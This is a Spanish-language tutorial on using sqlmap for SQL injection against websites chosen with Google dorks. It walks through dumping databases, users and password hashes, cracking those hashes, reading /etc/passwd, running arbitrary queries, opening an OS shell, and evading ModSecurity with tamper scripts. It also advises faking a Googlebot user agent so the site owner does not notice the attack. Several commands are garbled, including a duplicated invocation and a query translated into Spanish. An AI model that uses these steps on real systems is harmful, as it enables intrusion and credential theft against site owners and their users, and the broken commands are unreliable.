¿Que es SQLMAP?
Es una herramienta desarrollada en el lenguaje de programación Python y sirve para hacer SQL injection automatizado en otras palabras aprovecha las vulnerabilidades de inyección SQL en aplicaciones web en la cual se puede llegar hacer distintas cosas, por ejemplo:
- Enumerar bases de datos
-
Enumerar las tablas y columnas de una base de datos.
-
Enumerar los usuarios con su respectiva contraseña.
-
Descifrar los hashes de contraseñas .
- Leer archivos específicos del sistema de archivo de un host especifico y mucha mas cosas.
Uso practico
Para empezar tenemos que elegír una Dork aquí les dejare unas 2k+ de Dorks de Google Dorks
1
sqlmap -u [URL] -D privacidaddb --tables --user-agent="Mozilla 5 (compatible , Googlebot/2.1, [http://www.google.com/bot.html)"](https://www.google.com/bot.html)
Comenzamos con este código antes de comenzar con lo más emocionante por decirlo así, pero la pregunta es: ¿Para qué sirve esto? Este comando sirve para camuflar nuestra conexión como un robot de google ya que siempre esta vigente a las conecciones vigentes de inicio ¿Que pasa si no hacemos esto? Simplemente dejarias a descubierto la conexion que estamos conectados de una manera textual y el web master se dara cuenta que estamos inyectando su web y hasta puede saber que programa estamos usando, etc.
Obtener datos del usuario de la web
1
sqlmap -u [URL] --current-user
Ahora comprobemos si es correcto el usuario que tenemos de la base de datos
1
sqlmap -u [URL] --is-dba --current-db
Para ver los privilegios de administradores activados
1
sqlmap -u [URL] --privileges**
Para obtener todos los usuarios de DBS
1
sqlmap -u [URL] --users
Podremos ver en donde corre y que usuario está alojado puede ser root u otro
Para obtener las contraseñas de los usuarios de las dbs
1
sqlmap -u sqlmap -u [URL] --password
Nos saldrá un mensaje con unas opciones y tendremos que elegir según las letras [“Y” , “N”, “Q”] ¿Por que sale esto? porque las contraseñas de los registros de las bases de datos se codifican automáticamente en Hash y en MD5 son las más conocidas, en fin…
-
Y = Es para hacer un ataque de fuerza bruta para descifrar el hash
-
N = Es para negar la anterior opción y obtener solo la hash
-
Q = Para terminar el proceso hasta ese momento
Ponemos Q y luego nos saldrán 3 opciones y escogemos el diccionario 1 /defauld
Después nos dará la siguiente información que es la contraseña crackeada y el usuario. También podemos hacer una búsqueda más avanzada pero tenemos que tener en cuenta de como usar los nombres en las búsquedas
1
sqlmap -u [URL] -C login --search**
Nos saldrán dos opciones y elegiremos la primera que es para tener una lista opcional de la búsqueda nos permitirá hacer un dump de las columnas encontradas en la DBS ponemos la opción “a” ¿Por que? esto hará un dump general
Obtener información de la web:
1
sqlmap -u [URL] --dbs -u = Target UR (e.g. “http://www.example.com/cgi-bin/item.cgi?item_id=15" --dbs
Sigamos revisando la base de datos
1
sqlmap -u [URL] -D [Ponemos aquí lo que hayas seleccionado de la tabla] --tables
Después nos saldrá otra tabla usaremos otro comando, pero explicare que las letras en mayúscula, por ejemplo, -D son abreviadas, porque -D es el nombre de la base de datos, o sea –dbs recuerda que siempre deben ir en mayúscula -T es –tables
1
sqlmap -u [URL] -D [Ponemos aquí lo que hayas seleccionado de la tabla] -T [Ponemos aquí lo que hayas seleccionado de la tabla siguiente] --columns
Ahora que tenemos las columnas visibles vamos a extraer datos de una tabla
1
sqlmap -u [URL] --dump -D [Ponemos aquí lo que hayas seleccionado de la tabla] -T [Ponemos aquí lo que hayas seleccionado de la tabla siguiente]
Nos puede salir algo similar a esto:
id | hash | nombre | correo electrónico | contraseña | permiso | inicio_sistema | system_allow_only |
---|---|---|---|---|---|---|---|
1 | 5DIpzzDHFOwnCvPonu | admin | En blanco | 3 | En blanco | En blanco |
Usemos otro comando hasta ahora hemos tenido mucha información de la tabla. La columna hash parece tener el hash de contraseña puede descifrarlo y obtener los datos para iniciar sesión lo que hará slqmap es crear un archivo csv que tendrá los datos volcados para facilitar el análisis
En el siguiente comando se usará para tener el banner exacto del servidor de la base de datos cuando nos salga el banner de mysql nos mostrará la versión mysql que se ha estado usando cuando tengas la versión buscamos en google una vulnerabilidad de MySQL a esa versión que tenemos
1
sqlmap -u [URL] -b
Para leer un archivo de sistema tenemos que tener permisos para la operación de ARCHiVO los unico que podemos leer son los archivos legibles o legibles por el usuario de mysql, por ejemplo:
1
sqlmap -u [URL] --file-read = / etc / passwd --threads = 10
Solo es ejemplo, pero ¿Qué estamos haciendo? Sqlmap alamencera el archivo en nuestro directorio para que podamos leerlo después
1
sqlmap -u [URL] --sql-query = "seleccionar ahora ();"
Lo que hicimos fue ejecutar el comando sql arbitrario el cual sirve para ejecutar consultas sql arbitrarias en la base de datos
Comandos curiosos
1
sqlmap -u [URL] --fingerprint -random-agent
-u: URL
–fingerprint: Captura el flag arg para analizar
–random-agent: Pide el navegador por defecto**
Definir el parámetro a explotar
1
sqlmap --dbms=mysql -u [URL] --dbs -p param2
Si la url tiene URI´s bonitas
1
sqlmap --dbms=mysql -u "http://XXXXXXXXXXX/detail/code/value1*/param2/value2" --dbs
Ejecutar consultas directametne
1
sqlmap --dbms=mysql -u [URL] -D "BASEDEDATOS" --sql-query "SELECT * FROM TABLAS;"
Conseguir Shell del sistema si es que es viable
1
sqlmap --dbms=mysql -u [URL] --os-shell**
Evadiendo el Mod_Security con Tampers de sqlmap
Alguna vez cuando hacemos inyección por GET en alguna web a veces nos aparece un anuncio de Mod_Security al cual no deja inyectar, pero usando sqlmap y con sus Tampers podremos sacarnos de este apuro. Puedes encontrar información de cada Tamper cada archivo tiene su explicación de su funcionalidad solo tiene que ir a sqlmap/tamper/
¿Cómo usamos Tamper en SQLMAP?
Es fácil solo se debe utilizar el siguiente comando o agregar la opción
1
--tamper [Nombre del Tamper]**
En otras palabras:
1
sqlmap.py -u [URL] --dbms "MySQL" -p [marca_id] --tamper "modsecurityzeroversioned.py" --batch
Ahora que sabemos esto de evadir los filtros y los WAF, gracias a la herramienta qué carga las reglas del script de sabotaje para lo mencionado, pero sabías que podemos usar todos en una línea? Ejemplo:
Bajar la clase de seguridad y mas
Podemos hacer otro ataque en donde haremos un escaneo de la URL vereficando las cookies y a lo último hace un string para poder ver la base de datos y no solo también podremos bajar la clase de seguridad de la página, pero espera antes necesitamos dos cosas URL y cookie podemos obtener esta información con BurpSuite y después usar sqlmap digamos que ya tenemos eso, pero y ahora que? Simplemente ya podemos usar el siguiente comando:
1
sqlmap -u '[URL]' --cookie='[cookie]' --string=Surname --dbs